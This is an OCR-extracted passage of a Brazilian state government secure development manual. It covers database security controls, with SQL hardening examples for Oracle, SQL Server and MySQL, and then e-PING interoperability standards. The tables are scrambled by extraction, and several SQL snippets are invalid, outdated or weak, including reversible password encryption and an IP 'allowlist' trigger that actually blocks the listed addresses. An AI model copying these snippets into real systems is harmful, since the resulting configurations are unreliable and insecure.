CG| 1 |Controle de Acesso relacionados a autorizacéo e manutengdo do AL4
acesso a visfes da base de dados.
i _ | Procedimentos formais devem ser
Processo de Configuragédo ) . A-1, A-3, A-5, A-7, A-
CG| 2 desenvolvidos para efetuar alteragéo na base de
e Suporte 8, A-9, A-13, A-14
dados.
Garantir que a instalagdo do SGBD seja
Processo de Configuragdo |adequada para atender apenas a necessidade
CG| 3 ) N i o A-5, A-7, A-10, A-11
e Suporte identificada. Recomendéavel consultar guia oficial
do SGBD.
) Avaliar a necessidade de atualiza¢éo do SGBD.
Processo de Configuragéo - ) )
CG| 4 Caso necessario, realizar testes antes de aplicar A-6, A-8
e Suporte )
no ambiente de producéo.
Revisar regularmente as fungbes
Processo de Configuragdo | desempenhadas pelos DBAs, donos de
CG| 5 L . A-2, A-8, A-14
e Suporte aplicacdes e operadores de contas de usuarios,
e manter atualizados os perfis.
Processo de Configuragdo | Garantir que todos os arquivos temporarios
CG| 6 ) ) o . A-10, A-14
e Suporte sejam removidos apo6s a instalagdo.
CG| 7 Processo de Configurac&o Garantir que todas as regras e politicas estejam A-13, A-14
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em conformidade.

Manter o registro de log por tempo adequado.
Seguir politica de seguranca institucional.

CG | 8 |Auditoria e Log de Sistema | Recomendavel manter por no minimo 14 dias e A-10, A-14
no maximo 21. Caso necessaria a extensao do
tempo, fazer backup.
cal o Controle de Rede e Manter o servidor em local isolado e controlado, | A-5, A-7, A-8, A-11, A-
Ambiente I6gica e fisicamente. 13, A-14
Garantir condi¢gbes ambientais para a
Controle de Rede e acomodacéao do servidor, com controles de
CG| 10 ) ) ) ) ] A-7
Ambiente qualidade do ar, combate a incéndio, umidade e
temperatura, dentre outros.
Garantir que o servidor de banco de dados
Controle de Rede e ) o . A-2, A-5, A-10, A-13,
CG| 11 ) esteja segregado da rede principal e protegido
Ambiente i A-14
por firewall.
Controle de Rede e Testar as tarefas agendadas antes que a base
CG| 12 ] . A-4, A-6, A-7, A-8
Ambiente de dados entre em producéo.
Controle de Rede e Testar a seguranca do acesso fisico ao servidor.
CG| 13 i A-7, A-14
Ambiente
Deixar claras e documentadas todas as politicas
Controle de Rede e ) ) ]
CG| 14 adotadas e informar devidamente aos usuarios, Todas

Ambiente

de acordo com seu nivel operacional.

Tabela 4 — Controles gerenciais em bancos de dados.
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o . s Ameacas
Caédigo Categoria Descricao
enderecadas
Certificar que regras de DBA ndo sejam
. o . o A-2, A-3, A-5, A-7, A-
CT | 1 |Conta de Usuario atribuidas a usuérios que néo sao
. 8, A-11, A-13, A-14
administradores do banco de dados.
Criar politicas e procedimentos para usuarios do
A . _ A-5, A-7, A-8, A-9, A-
CT | 2 |Conta de Usuéario tipo desenvolvedor. Restringir o acesso destas
. 11, A-13, A-14
contas ao ambiente de producéo.
- Estabelecer uma separagéo entre os ambientes | A-2, A-4, A-5, A-7, A-
CT | 3 | Conta de Usuério )
de desenvolvimento, teste e producéo. 8, A-9, A-13, A-14
Desenvolver procedimentos para garantir,
- o . . | A-2,A-3, A5 A7, A-
CT | 4 |Conta de Usuario restringir e rever o nivel de acesso de usuérios a
- 8, A-11, A-14
base de produgéo e utilitarios.
Criar conta temporéria para fun¢des limitadas,
] como migracdo e exportacéo, para
CT | 5 |Conta de Usuario - A-5, A-8, A-9, A-14
desenvolvedor que requisitar acesso a base de
producéo.
Verificar se a senha é diferente em cada
L o . A-2, A-3, A-5, A-7, A-
CT | 6 |Conta de Usuario instancia de banco de dados. Alterar caso sejam
o 8, A-10, A-14
iguais.
Configurar contas de sistemas para acesso a
L o B} . | A2, A-3, A-4, A5, A-
CT | 7 |Conta de Usuério diretérios do SGBD. Recomendavel seguir o guia
. 8, A-11, A-13, A-14
de instalacdo de cada SGBD.
Verificar se as senhas de contas administrativas A-2, A-7, A-8, A-11,
CT | 8 | Controle de Acesso
foram trocadas. A-13, A-14
Trocar senhas e desabilitar contas de usuarios A-2, A-3, A-5, A-7, A-
CT | 9 |Controle de Acesso padrdo do SGBD. 8, A-9, A-10, A-13, A-
14
Criar identificagdo (login) individual, ou seja, ndo
CT | 10 | Controle de Acesso usar login compartilhado. Seguir padréo A-14
institucional.
CT | 11 | Controle de Acesso Criar senhas dentro do padréo institucional. A-14
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Criar um usuério para manipulagéo de esquemas
de aplicagdo sem privilégios de DBA. Limita-lo

A-2, A-3, A-5, A-7, A-

CT | 12 | Controle de Acesso . .
apenas aos processos de manipulacao dos 8, A-11, A-13, A-14
esquemas, 0 que inclui inclusao e exclusao.
No SGBD Oracle, revisar e revogar 0s usuarios
L A-2, A-3, A-5, A-7, A-
CT | 13 | Controle de Acesso com privilégio BECOME USER, exceto os
L . 8, A-9, A-13, A-14
usuarios que efetuem importagdo ou exportacao.
Impedir que usuarios ndo autorizados fagam uso | A-2, A-3, A-11, A-13,
CT | 14 | Controle de Acesso
de ferramentas de depuracéo. A-14
Certificar que ndo haja nenhuma politica de
CT | 15 | Controle de Acesso Todas
excecao de acesso.
Criar um grupo Help Desk com perfil especifico
CT | 16 | Controle de Acesso - A-13, A-14
para resetar senha dos usuarios.
Proteger os parametros de inicializacdo e
configuragdo do banco de dados. Apenas o A-2, A-5, A-7, A-8, A-
CT | 17 | Controle de Acesso o )
proprietario do banco podera ler e escrever os 9, A-10, A-13, A-14
arquivos de configuracgéo.
Bloquear o acesso a base de dados por A-2, A-3, A-5, A-6, A-
CT | 18 | Controle de Acesso aplicacdes ndo autorizadas. 7, A-8, A-10, A-11, A-
12, A-13, A-14
Criar perfil e regras especificas para usuarios
com privilégios de alterar objetos da base de
CT | 19 | Controle de Acesso ) ) Todas
producdo. Garantir que essas regras nao sejam
aplicadas a usuarios nédo autorizados.
Restringir o uso de aplicagfes de suporte de A-2, A-3, A-5, A-6, A-
CT | 20 | Controle de Acesso acordo com seu nivel de utilizacéo. 7, A-8, A-10, A-11, A-
12, A-13, A-14
Criar procedimento de validacé@o de usuério a
cada acesso que gere mudanca de informagéo e
CT | 21 | Controle de Acesso em consultas que exijam confidencialidade. A-12, A-14
Recomendavel para o nivel 2 e obrigatério para
os niveis 3 e 4 de seguranca.
Revisar os privilégios e garantir que sejam
CT | 22 | Controle de Acesso atrelados apenas aos usuarios devidamente Todas

autorizados.
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Criar visdes de seguranca de dados e garantir

CT | 23 | Controle de Acesso gue apenas usuarios autorizados tenham A-3, A-14
acesso.
Documentar formalmente os procedimentos
CT | 24 | Controle de Acesso relacionados a autorizacéo e manutengao do A-1, A-3, A-14
acesso a visfes da base de dados.
) Garantir que arquivos de log estejam
Processo de Configuracéo ) N )
CT| 25 s ) armazenados em dispositivos localizados Todas
e Suporte
P fisicamente fora do servidor de banco de dados.
Garantir que apenas os usuarios administradores
Processo de Configuracdo |do banco de dados tenham autorizagdo para
CT| 26 . o _ A-7, A-8, A-13, A-14
e Suporte realizar a reinicializacdo e o desligamento do
servidor.
Processo de Configuracdo | Desabilitar portas de comunicagéo nédo utilizadas
CT | 27 Todas
e Suporte do banco de dados.
) . Garantir que as bases de teste e
Processo de Configuragédo ) . A-4, A-5, A-6, A-7, A-
CT | 28 desenvolvimento ndo afetem a base de
e Suporte . 8, A-13.
producéo.
Utilizar procedimentos ou codigos externos
Processo de Configuragdo | apenas quando esta for a Gnica solucao viavel.
CT | 29 o ) o Todas
e Suporte Restringir o procedimento ou cédigo externo a
usuarios devidamente autorizados.
) . Garantir que a réplica da base de dados seja
Processo de Configuragéo ) ] o
CT | 30 feita e mantida em espagos fisicamente A-7
e Suporte
separados.
o1l 31 Processo de Configuragdo | Recomenda-se o uso de criptografia no trafego A-10, A-12, A-13, A-
e Suporte de dados pela rede. 14
Processo de Configuracdo | Utilizar fungBes de identificagdo Unica evitando
CT | 32 o A-5, A-8, A-13
e Suporte duplicidade de dados.
Garantir que sejam efetuados os registros de log
CT | 33 | Auditoria e Log de Sistema | de backup e restauragéo, e que sejam Todas
periodicamente revisados.
o ) Registrar e verificar periodicamente os logs de
CT | 34 | Auditoria e Log de Sistema o L Todas
atividades de contas de aplicagéo.
CT | 35 | Auditoria e Log de Sistema | Registrar e verificar periodicamente os logs de Todas

SEPLAG - Padréo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

atividades de contas de sistema.

o ) Registrar e verificar periodicamente os logs de
CT | 36 | Auditoria e Log de Sistema o o Todas
atividades dos administradores.

CT | 37 | Auditoria e Log de Sistema | Estabelecer sistema de correlac@o de logs Todas

Tabela 5 — Controles técnicos em bancos de dados.

3.4.Controles Técnicos com Implementacdes
3.4.1. CI-1 — Conta de Usuario

Diretivas:

» Estabelecer e desenvolver politicas de seguranca, grupos e regras de acordo com cada tipo

de usuario exigido pelo sistema.

Oracle:

1- Criar Grupo:

CREATE GROUP <nome_do_grupo>

2- Criar Regra:

CREATE ROLE <nome_da_regra>

3- Atribuir Privilégios:

GRA NT <privilégio> ON <objeto> TO <usuario | grupo | regra>

4- Atribuir Regras:

GRANT <regra> TO <usuério | grupo>
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MS SQL Server:

1- Criar Grupo:

CREATE GROUP <nome_do_grupo>

2- Criar Regra:

CREATE ROLE <nome_da_regra>

3- Atribuir Privilégios:

GRA NT <privilégio> ON <objeto> TO <usuario | grupo | regra>
4- Atribuir Regras:

GRANT <regra> TO <usuério | grupo>

MySQL:

1- Criar Grupo:

CREATE GROUP <nome_do_grupo>

2- Criar Regra:

CREATE ROLE <nome_da_regra>

3- Atribuir Privilégios:

GRA NT <privilégio> ON <objeto> TO <usuario | grupo | regra>

4- Atribuir Regras:

GRANT <regra> TO <usuério | grupo>
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3.4.2. Cl-2 — Conta de Usuério

Diretivas:

» Restringir login com multiplas conexdes.

Oracle:

CREATE PROFILE <nome_do_perfil> LIMIT SESSIONS_PER_USER 1;

ALTER USER <usuario> PROFILE <nome_do_perfil>;

MS SQL Server:

CREATE TRIGGER CONNECTION_LIMIT_TRIGGER

ON ALL SERVER WITH EXECUTE AS <login>

FOR LOGON

AS

BEGIN

IF ORIGINAL_LOGIN()= <login> AND

(SELECT COUNT(*) FROM SYS.DM_EXEC_SESSIONS

WHERE IS_USER_PROCESS =1 AND

ORIGINAL_LOGIN_NAME = <login>) > 1

ROLLBACK;

END;

MySQL:

GRANT USAGE ON *.* TO <usuario>@<host>

WITH MAX_USER_CONNECTIONS 1,
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3.4.3. CI-3 — Conta de Usuario

Diretivas:

» Registrar acdes de usuarios de grupos com permissodes de insergédo, alteracdo e exclusédo de

dados (geralmente os desenvolvedores) em logs.

Oracle:

O Oracle gera um log chamado alert.log e € encontrado no diretorio:

<ORACLE_HOME>/RDBMS/trace

Este log registra alteracdes no banco de dados, erros, inicializacdo do banco entre outros.

Ver especificagfes da fabricante para maiores informagoes.

MS SQL Server:

Criar fungdes que registrardo caso algum acesso seja feito:
IF UPDATE(<nome_do_campo)
BEGIN
<executar comandos para registrar a acao em uma tabela de auditoria devidamente protegida>
END

OBS: Realizar verificagc@o para UPDATE, INSERT e DELETE.

Arquivos de LOG sédo encontrados geralmente em C:\Program Files\Microsoft SQL Server\MSSQL\LOG

MySQL:

Ativar o log no my.cnf:

[mysqld]

err-log = <diretério>/mysql.err

log = <diret6rio>/mysql.log
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3.4.4. Cl-4 — Conta de Usuério

Diretivas:

» Verificar e remover os privilégios dos grupos com a caracteristica de conceder herancas a

usuarios sem grupo explicitamente configurado.

Oracle:

Passo 1: Gerar um relatério com os privilégios da conta PUBLIC

SELECT * FROM SYS.DBA_TAB_PRIVS

WHERE GRANTEE = 'PUBLIC'

SELECT GRANTED_ROLE FROM SYS.DBA_ROLE_PRIVS

WHERE GRANTEE = 'PUBLIC';

Passo 2: Revisar e remover os privilégios atrelados a conta PUBLIC

EX:

REVOKE SELECT ON <objeto> FROM PUBLIC;

REVOKE EXECUTE ON <objeto> FROM PUBLIC;

MS SQL Server:

REVOKE <privilégio> ON <objeto> FROM PUBLIC

MySQL:

Passo 1: Verificar os privilégios do usuério:

SHOW GRANTS FOR <usuario>@<host>

Passo 2: Revogar os privilégios:

REVOKE <privilégio> FROM <usuario>@<host>
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3.4.5. CI-5 — Conta de Usuario

Diretivas:

» Verificar na tabela de usuarios se ha campos de senha vazios. Caso estejam vazios,

desativar as contas dos usudrios até que os mesmos se disponham a criar uma senha.

Oracle:

Passo 1: Verificar se as contas possuem uma string criptografada no campo PASSWORD.
SELECT USERNAME PASSWORD from DBA_USERS;

Passo 2: Caso alguma conta estiver sem senha desativar a conta até que o usuario defina seja contatado para definir uma

senha.

ALTER USER <usuério> ACCOUNT LOCKED;

MS SQL Server:

Passol: Verificar se as contas possuem uma string criptografada no campo PASSORD.

SELECT NAME, PASSWORD FROM MASTER.DBO.SYSLOGINS

Passo 2: Caso alguma conta estiver sem senha desativar a conta até que o usuario defina seja contatado para definir uma

senha.

MySQL:

Passol: Verificar se as contas possuem uma string criptografada no campo PASSORD.
SELECT USER, PASSWORD, HOST FROM MYSQL.USER;

Passo 2: Caso alguma conta estiver sem senha desativar a conta até que o usuario defina seja contatado para definir uma

senha.

Caso possivel, bloquear o usuario. Nao sendo possivel, revogar todos os privilégios do mesmo.
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3.4.6. Cl-6 — Conta de Usuario

Diretivas:

» Impedir que usuarios ndo autorizados realizem procedimentos atrelados a backup.

Oracle:

Ver especificagdes da fabricante para maiores informacoes. ‘

MS SQL Server:

REVOKE BACKUP DATABASE FROM <usuario> l

MySQL:

Ver especificages da fabricante para maiores informagoes. ‘

3.4.7. Cl-7 — Conta de Usuério

Diretivas:

» Registrar em log todos os acessos a base de producéo.

Oracle:

O Oracle gera um log chamado alert.log e € encontrado no diretorio:

<ORACLE_HOME>/RDBMS/trace

Este log registra alteracdes no banco de dados, erros, inicializa¢cdo do banco entre outros.

Ver especificacdes da fabricante para maiores informacdes.

MS SQL Server:

Criar funcdes que registrardo caso algum acesso seja feito:

IF UPDATE(<nome_do_campo)

BEGIN

<executar comandos para registrar a agdo em uma tabela de auditoria devidamente protegida>

END

OBS: Realizar verificacdo para UPDATE, INSERT e DELETE.
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Arquivos de LOG séo encontrados geralmente em C:\Program Files\Microsoft SQL Server\MSSQL\LOG

MySQL:

Ativar o log no my.cnf:

[mysqld]

err-log = <diretério>/mysql.err

log = <diretério>/mysqgl.log

Ver especificagbes da fabricante para maiores informacdes..

3.4.8. CI-8 — Conta de Usuaério

Diretivas:

» Criar procedimento que desabilite 0 usuario com mais de 1 més de inatividade de acesso ao

banco de dados.

Oracle:

Criar uma tabela que armazene o login e a data de acesso do usuario.

Criar um procedimento que armazene esses dados toda vez que o usuario se conectar.

Criar um procedimento que leia a tabela criada e desabilite o login que tiver seu ultimo acesso maior que 1 més.

MS SQL Server:

Criar uma tabela que armazene o login e a data de acesso do usuario.

Criar um procedimento que armazene esses dados toda vez que o usuario se conectar.

Criar um procedimento que leia a tabela criada e desabilite o login que tiver seu ultimo acesso maior que 1 més.

MySQL:

Criar uma tabela que armazene o login e a data de acesso do usuario.

Criar um procedimento que armazene esses dados toda vez que o usuario se conectar.

Criar um procedimento que leia a tabela criada e desabilite o login que tiver seu ultimo acesso maior que 1 més.
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3.4.9. CI-9 — Conta de Usuario

Diretivas:

» Garantir a segregacédo de responsabilidades dos usuarios.

Processo Fisico/Operacional:

Garantir que os usuarios tenham regras restritas a suas funcbes e que eles nao

possam sair delas. Criar rotina de verificacdo de usuarios.

3.4.10. CI-10 — Conta de Usuario

Diretivas:

» Garantir que apenas o dono do esquema tenha o privilégio de criar gatilhos.

Oracle:

REVOKE CREATE TRIGGER FROM <usuario>;

REVOKE CREATE ANY TRIGGER FROM <usuério>;

MS SQL Server:

N&ao ha exemplos disponiveis para esta implementagéao. ‘

MySQL:

N&o ha exemplos disponiveis para esta implementacao. l

3.4.11. CI-11 — Processo de Configuracao e Suporte

Diretivas:

» Garantir que senhas sejam armazenadas de forma criptografada, seguindo padrées de

seguranca do mercado.
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Oracle:

Nao ha exemplos disponiveis para esta implementagéo.

Recomendavel o uso de certificados digitais ou algoritmos de "hash" que nao oferecam coliséo.

MS SQL Server:

set @pwd1 = 'senha*123'
set @pwd2 = Convert(varbinary(100), pwdEncrypt(@pwd1))

Recomendavel o uso de certificados digitais ou algoritmos de "hash" que néo oferecam colisao.

MySQL:

AES_ENCRYPT(string,string_chave)

Recomendavel o uso de certificados digitais ou algoritmos de "hash" que nao oferecam colisao.

3.4.12. CI-12 — Processo de Configuracao e Suporte

Diretivas:

» Garantir que a transmissé@o de senhas entre cliente e servidor ocorra de maneira segura e

criptografada.

Oracle:

Utilizar mecanismo "SSL" disponivel no manual do fabricante. ‘

MS SQL Server:

Utilizar mecanismo "SSL" disponivel no manual do fabricante. |

MySQL:

Utilizar mecanismo "SSL" disponivel no manual do fabricante. ‘
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3.4.13. CI-13 — Processo de Configuracao e Suporte

Diretivas:

» Criar procedimentos para verificar e bloquear scripts que trafeguem com senha em puro

texto.

Procedimento Fisico/Operacional:

Verificar os scripts que trafegam pela rede. Certificar que ndo haja informacdes de

senha em puro texto.

3.4.14. CI-14 — Processo de Configuracao e Suporte

Diretivas:

» Utilizar criptografia em tabelas ou colunas cujos dados exigem confidencialidade.

Oracle:

Para que funcione a criptografia da coluna, uma carteira(wallet) deve ser aberta:
Passo 1: Criar o diret6rio da carteira Oracle:

$ORACLE_BASE/admin/<sid>

Windows: %ORACLE_BASE%/admin/<sid>

Passo 2: Entrar no sistema como sysdba e executar:

ALTER SYSTEM SET ENCRYPTION KEY IDENTIFIED BY "<senha>";

OBS: A sentenga acima a carteira com a senha <senha>. A senha é case sensitive e deve ser cercada por aspas duplas.
Passo 3: Criar a tabela coma coluna criptografada:

CREATE TABLE TEST_USER

(

USER_ID VARCHAR2(10),

PASSWD VARCHAR2(30)ENCRYPT,

CREATE_DATE_TIME DATE,

MOD_DATE_TIME DATE
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OBS: Para impedir a visédo do dado criptografado execute:

ALTER SYSTEM SET ENCRYPTION WALLET CLOSE;

Para visualizar o dado criptografado execute:

ALTER SYSTEM SET ENCRYPTION WALLET OPEN AUTHENTICATED BY "<senha>";

MS SQL Server:

USE <base_de_dados>;

GO

Se nao existir uma chave mestre, crie:

IF NOT EXISTS

(SELECT * FROM sys.symmetric_keys WHERE symmetric_key_id = 101)

CREATE MASTER KEY ENCRYPTION BY

PASSWORD = '23987hxJKL969#ghf0%94467GRKjg5k3fd117r$$#1946kcj$n44nhdlj

GO

CREATE CERTIFICATE <nome_certificado>

WITH SUBJECT = 'Employee Social Security Numbers';

GO

CREATE SYMMETRIC KEY <nome_da_chave>

WITH ALGORITHM = AES_256

ENCRYPTION BY CERTIFICATE <nome_certificado>;

GO

USE [<base_de_dados>];

GO

Criar uma coluna na qual sera gravada o dado criptografado:

ALTER TABLE <base_de_dados>.<tabela>

ADD <coluna_criptografada> varbinary(128);

GO

Abrir a chave simétrica para criptografar o dado:

OPEN SYMMETRIC <nome_da_chave>
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DECRYPTION BY CERTIFICATE <nome_certificado>;

Criptografar o valor da coluna <coluna> com a chave simétrica <nome_da_chave>. Salvar o resultado na coluna

<coluna_criptografada>:

UPDATE <base_de_dados>.<tabela>

SET <coluna_criptografada> = EncryptByKey(Key GUID('<nome_da_chave>'), <coluna>);

GO

MySQL:

AES_ENCRYPT(string,string_chave)

Utilizar campos binarios como o VARBINARY ou BLOB para armazenamento do contetdo criptografado.

Recomendavel o uso de certificados digitais ou algoritmos de "hash" que nao oferecam colisao.

3.4.15. CI-15 - Processo de Configuracao e Suporte

Diretivas:

» Garantir que contas de convidados (Guest Accounts) ndo existam.

Oracle:

ALTER USER <conta_convidado> ACCOUNT LOCK;

MS SQL Server:

USE <base_de_dados>;

GO

REVOKE CONNECT FROM GUEST

MySQL:

USE MYSQL;

DELETE FROM USER WHERE USER=<conta_convidado>;

DELETE FROM DB WHERE USER=<conta_convidado>;

FLUSH PRIVILEGES;

3.4.16. CI-16 — Processo de Configuracao e Suporte
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Diretivas:

» Garantir que 0s acessos ocorram por meio de regras, ndo permitindo acesso direto ao banco

de dados.

Oracle:

Nao ha exemplos disponiveis para esta implementagéo.

Implementar modelo de controle de acesso baseado em regras (RBAC).

MS SQL Server:

Nao ha exemplos disponiveis para esta implementagéao.

Implementar modelo de controle de acesso baseado em regras (RBAC)

MySQL:

N&o ha exemplos disponiveis para esta implementacéao.

Implementar modelo de controle de acesso baseado em regras (RBAC)

3.4.17. CI-17 — Auditoria e Log de Sistema

Diretivas:

» Registrar e verificar periodicamente os logs de falha de acesso a objetos da base de dados.

Oracle:

O Oracle gera um log chamado alert.log e € encontrado no diretorio:

<ORACLE_HOME>/RDBMS/trace

Este log registra alteracdes no banco de dados, erros, inicializa¢@o do banco entre outros.

Ver especificagbes da fabricante para maiores informacdes.

MS SQL Server:

Arquivos de LOG séo encontrados geralmente em C:\Program Files\Microsoft SQL Server\MSSQL\LOG

Ver especificagbes da fabricante para maiores informacdes.

MySQL:
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Ativar o log no my.cnf:

[mysqld]

err-log = <diretério>/mysql.err

log = <diret6rio>/mysql.log

Ver especificagdes da fabricante para maiores informacoes.

3.4.18. CI-18 — Auditoria e Log de Sistema

Diretivas:

» Registrar e verificar periodicamente os logs de falha de conexao.

Oracle:

Passo 1: No arquivo LISTENER.ORA configurar os seguintes parametros:

TRACE_LEVEL_LISTENER=OFF

TRACE_DIRECTORY_LISTENER= path ex. (../Oracle9i/network/trace)

TRACE File_LISTENER=listener.trc

LOG_DIRECTORY_LISTENER=path (ex. ../Oracle9i/network/log)

LOG_FILE_LISTENER=listener.log

Para prevenir a administragéo néo autorizada do Oracle Listener:

Passo 1: Estabelecer uma senha segura para o Oracle Listener para prevenir a configuracao remota do mesmo.

Passo 2: Configurar no listener.ora (Arquivo de controle do Oracle Listener) o parametro de configuracdo de seguranca da
seguinte forma:

ADMIN_RESTRICTIONS_listener_name = ON

Passo 3: N&o deixar a porta padréo 1521 do Oracle Listener aberta no Firewall

Passo 4: Manter o servidor de banco de dados atras de um firewall.Keep the database server behind a firewall.

Passo 5: Desenvolver um relatétioque consulte o trinlho de auditoria para tentativas de conexdo nao autorizadas. Rever o

relatério periodicamente.
<ORACLE_HOME>/RDBMS/trace

Este log registra alteracbes no banco de dados, erros, inicializacdo do banco entre outros. Ver especificacdes da fabricante

para maiores informacoes.
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MS SQL Server:

N&o ha exemplos disponiveis para esta implementacéo. l

MySQL:

N&o ha exemplos disponiveis para esta implementagao. ‘

3.4.19. CI-19 — Auditoria e Log de Sistema

Diretivas:

» Implementar notificacdo de ataque de sistema.

Processo Fisico/Operacional:

Procurar as melhores praticas de mercado para monitorar e alertar ataques nos
servidores de banco de dados. Implementar um sistemas de deteccdo e prevencao
de intrusos (IDPS).

3.4.20. CI-20 — Controle de Rede e Ambiente

Diretivas:

» Restringir conexdo com o servidor através de mecanismos de identificacdo exclusiva, como

endereco IP, chaves compartilhadas (IPSEC) ou certificados digitais.

Oracle:

Configurar os parametros no arquivo <ORACLE_HOME>/Network/admin/protocol.ora:

Tcp.validatenode_checking=YES

Tcp.invited_nodes=<faixa de IPs>

Tcp.excluded_nodes=<faixa de IPs>;
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MS SQL Server:

Criar um gatilho que verifica quem esta conectando:
CREATE TRIGGER <nome_do_gatilho>
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
DECLARE @ClientHost nvarchar(max);
SELECT @ClientHost = EVENTDATA().value('(/EVENT_INSTANCE/ClientHost)[1]','nvarchar(max)');
-- ClientHost gives IP except if the connecting to SQL Server from instance machine.
-- Do NOT put '<local machine>" in this otherwise you will block client access from instance machine.
IF @ClientHost IN ('10.0.2.53'
,'10.0.2.54'
,'10.0.2.55'
,'10.0.2.56')
ROLLBACK;

END;

MySQL:

| Nao h&a exemplos disponiveis para esta implementacéo.
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3.4.21. CI-21 - Testar a execucao e restauracao de backup

Diretivas:

» Testar a execucdo e a restauracao de backups antes da promoc¢éao para a producao.

Oracle:

N&ao ha exemplos disponiveis para esta implementagéo.

Recomendavel a utilizagédo de aplicativos de gerenciamento de banco de dados da prépria empresa.

MS SQL Server:

Recomendavel a utilizagéo de aplicativos de gerenciamento de banco de dados da propria empresa.
Passo 1: Criando um backup. Por padréo, o backup criado é do tipo FULL(completa):

USE <base_de_dados>;

BACKUP DATABASE <base_de_dados> TO DISK='<diretério>/<nome_do_arquivo>.BAK'

Passo 2: Restaurando a base de dados:

ALTER DATABASE <base_de_dados>

SET SINGLE_USER WITH ROLLBACK IMMEDIATE

RESTORE DATABASE [AdventureWorks] FROM DISK = N'C:\BackupTSQL.bak' WITH FILE =1, NOUNLOAD, REPLACE,
STATS =10

GO

ALTER DATABASE <base_de_dados>

SET MULTI_USER WITH ROLLBACK IMMEDIATE

MySQL:

Nao ha exemplos disponiveis para esta implementacéo.

Recomendavel a utilizagdo de aplicativos de gerenciamento de banco de dados da prépria empresa.
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4. Interoperabilidade de Sistemas (e-Ping)

4.1. Caracteristicas

O e-PING (Padrdes de Interoperabilidade de Governo Eletrénico) € um documento
do Governo Federal que regulamenta a utilizacdo da Tecnologia de Informacao e
Comunicagéo na Interoperabilidade de Servigos de Governo Eletrdnico. Este possui
um conjunto de premissas, politicas e especificagbes técnicas que determinam
aspectos técnicos e de infra-estrutura necessarios para garantir a seguranca e a

acessibilidade dos sistemas e dos usuarios.
O e-PING esta segmentado em cinco areas:
e Interconexao;
e Seguranca;
e Meios de Acesso;
e Organizagao e Intercambio de Informacdes;
e Areas de Integracéo para Governo Eletronico.

Para cada segmento foram especificados componentes para 0Ss quais S&o
estabelecidos padrdes. O presente manual abordara os padrbes de classificacdo ‘A’
(Adotado) e ‘R’ (Recomendado), referenciados no e-PING, onde todos os adotados

serdo obrigatdrios em todos os niveis de seguranca.

E importante lembrar que o e-PING é atualizado periodicamente, assim recomenda-
se 0 acompanhamento do documento que se encontra em:

http://www.eping.e.gov.br.

4.2. Interconexao
4.2.1. Politicas Técnicas

e Toda interconexdo devera ocorrer utilizando IPv4 e ter suporte ao IPv6;

e Sistemas de e-mail deverdo utilizar SMTP/MIME para o transporte de

mensagem. Utilizar os protocolos POP3 e/ou IMAP;
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Deve ser obedecida a politica de definicho de nomes de usuario do

governo federal,

O DNS deveré ser utilizado para resolugcdo de nomes de dominio da
Internet, convertendo-os em enderecos IP e, inversamente, convertendo
IPs em nomes de dominios, através da manutencdo dos mapas direto e

reverso, respectivamente;

Os protocolos FTP e HTTP deverdo ser utilizados na transferéncia de
arquivos. O HTTP devera ser priorizado para transferéncias de arquivos
de origem de péginas de sitios da internet;

Sempre que possivel utilizar tecnologia web em aplicacdes que utilizaram

emulagéo de terminal anteriormente;

E recomendada a tecnologia de web services como solugdo de
interoperabilidade da e-PING. Recomenda-se 0 uso do protocolo SOAP

para interconexao de arquiteturas descentralizadas e/ou distribuidas.
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4.2.2. Especificagbes Técnicas
42.2.1. Mensageria (IM)

Cédigo Componente Especificacéo Nivel

Os nomes das caixas postais de correio eletrdnico
deveréo seguir o padrao do governo federal
(encontrado em
http://www.e.gov.br/correios/cp_individ.htm) e, caso o
padrao institucional seja mais rigoroso, utilizar este.

] Exemplo: um funcionario de nome Joaquim José da
Endereco de caixa postal ) ] ) ]
M | 1 o Silva Xavier devera ter o nome de caixa postal formado | Todos
eletrnica
por prenome e sobrenome, separados por pontos:
joaquim.xavier

Em caso de homénimos, deverao ser utilizadas as
iniciais dos nomes intermediarios, como:
joaquim.j.xavier, ou joaquim.js.xavier. Nao poderao ser

utilizados acentos.

Utilizar produtos de mensageria eletrdnica que
Transporte de mensagem ) .
IM 2 suportam interfaces em conformidade com 2a4

eletrbnica
SMTP/MIME.

O uso de programas de correio eletrénico devera ser
IM 3 | Acesso a caixa postal permitido somente em caso de necessidade e quando 2a4
ndo houver restricdes de seguranga.

) Utilizar o modelo de requisitos para o protocolo XMPP
IM 4 | Mensageria em tempo real o 2a4
definidos pela RFCs 3920 e 3921

) O servico de mensagens curtas (SMS) devera utilizar o
Servico de mensagens curtas o
IM 5 (SMS) protocolo SMPP. Especificages do protocolo em: 2a4
http://www.smsforum.net/

Tabela 6 — Especificagfes técnicas (Mensageria).
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4.2.2.2. Infra-estrutura de Rede (IR)

Cédigo Componente Especificagdo Nivel
Utilizar TCP (RFC 793). Todos

IR 1 | Transporte Utilizar UDP (768) somente em caso de extrema

) Todos

necessidade.

IR 2 | Intercomunicacdo LAN/WAN Utilizar IPv4 (RFC 791). Todos
Caso seja necessaria a otimizacéo do trafego de rede

IR 3 | Tra&fego Avancado utilizar o MPLS (RFC 3031), contendo, no minimo, Todos
quatro classes de servico.
IEEE 802.11 b/g em conformidade as determinacdes

IR | 4 |Rede local sem fio do WI-FI Alliance (http://www.wi.fi.org), com sistemas 2a4
homologados pela Anatel (http://www.anatel.gov.br).

Tabela 7 — EspecificagGes técnicas (Infra-estrutura de rede).
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4.2.2.3. Servigos de Rede (ISR)

Cédigo Componente Especificagdo Nivel

Protocolo de transferéncia de .
SR 1 ) Utilizar o HTTP/1.1 (RFC 2616). Todos
hipertexto

. Utilizar o protocolo FTP com re-inicializagéo e
Protocolos de transferéncia de »
SR | 2 recuperacgdo (RFCs 959 e 2228). Utilizar o protocolo 2a4

arquivos
HTTP (RFC 2616).

o O uso do LDAP v3 devera ocorrer para acesso geral ao
ISR | 3 |Diretério ) . . Todos
diretério em conformidade com a RFC 4510.

Utilizar NTP versédo 3.0 (RFC 1305) e/ou SNTP verséo
4.0 (RFC 4330).Devera haver sincronia com a hora

ISR | 4 |Sincronismo de tempo oficial do Brasil, fornecida pelo Observatoério Nacional, 2a4
sendo incluidas as diferengas de fuso horério, quando

aplicaveis.

O DNS deve ser utilizado para resolver nomes de
dominios na Internet (RFC 1035)

) Seguir as diretivas de nomeacéo de dominio do
Servigos de nomeacéo de
ISR| 5 . Governo Federal Todos
dominio )
